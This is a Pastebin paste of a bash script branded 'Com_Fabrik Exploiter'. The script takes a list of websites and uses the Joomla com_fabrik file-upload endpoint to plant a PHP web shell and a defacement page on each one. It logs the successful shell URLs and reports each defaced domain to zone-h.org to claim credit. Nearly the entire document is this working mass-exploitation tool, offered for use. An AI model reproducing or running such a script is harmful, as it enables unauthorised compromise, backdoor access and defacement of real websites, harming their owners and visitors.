Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- # CODE BY CCOCOT
- # TQ FOR INDONESIA CODE PARTY
- # CCOCOT@BC0DE.NET
- header(){
- cat << "EOF"
- ____ ____ ___ ____ _____ _ _ _____ _____
- | __ ) / ___/ _ \| _ \| ____| | \ | | ____|_ _|
- | _ \| | | | | | | | | _| | \| | _| | |
- | |_) | |__| |_| | |_| | |___ _| |\ | |___ | |
- |____/ \____\___/|____/|_____(_)_| \_|_____| |_|
- Com_Fabrik Exploiter
- Ccocot | ccocot@bc0de.net
- Thank For Indonesia Code Party
- EOF
- }
- com_fabrik(){
- printf "[?] Website : ${web}\n"
- local ngeshell=$(timeout 10 curl -s -L -F "file=@${1}" "${2}/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload")
- if [[ $ngeshell =~ "${1}" ]]; then
- printf "[+] Upload Shell ...... Berhasil [${2}/${1}] !\n"
- echo "http://${2}/${1}" >> shel.txt
- else
- printf "[com_fabrik] [!] Upload Shell ...... Gagal !\n"
- fi
- local ngescript=$(timeout 10 curl -s -L -F "file=@${3}" "${2}/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload")
- if [[ $ngescript =~ "${3}" ]]; then
- printf "[com_fabrik] [+] Upload Script Deface ...... Berhasil [${2}/${3}] !\n"
- echo "http://${2}/${3}" >> sc.txt
- return 0
- else
- printf "[com_fabrik] [!] Upload Script Deface ...... Gagal !\n"
- return 1
- fi
- }
- nge_zh(){
- local submit=$(curl -s "http://www.zone-h.org/notify/single" -d "defacer=${1}&domain1=${2}&hackmode=1&reason=1" \
- -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36" \
- -H "Referer: http://www.zone-h.org/notify/single" \
- -H "Origin: http://www.zone-h.org")
- if [[ $submit =~ "color=\"red\">OK<" ]]; then
- echo "${2}" >> zh.txt
- printf "[+] Zone-H ...... OK [${1}] (${2}) !\n"
- else
- printf "[!] Zone-H ...... ERROR [${1}] (${2}) !\n"
- fi
- }
- if [ -z $1 ]; then
- header
- printf "\n To Use $0 <file.txt> <nick> <shell.php> <script.html>\n"
- exit 1
- fi
- header
- sc=${4}
- shell=${3}
- nick=${2}
- printf "\nNickname: ${nick}\n"
- printf "Shell File: ${shell}\n"
- printf "Script Deface: ${sc}\n\n"
- # OPTIONAL
- persend=20
- setleep=5
- itung=1
- IFS=$'\r\n' GLOBIGNORE='*' command eval 'web=($(cat $1))'
- for (( i = 0; i < "${#web[@]}"; i++ )); do
- set_kirik=$(expr $itung % $persend)
- if [[ $set_kirik == 0 && $itung > 0 ]]; then
- sleep $setleep
- fi
- web="${web[$i]}"
- urlsc_comfabrik="${web[$i]}/${sc}"
- if com_fabrik ${shell} ${web} ${sc} ; then nge_zh ${nick} ${urlsc_comfabrik} ;fi &
- itung=$[$itung+1]
- done
- wait
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement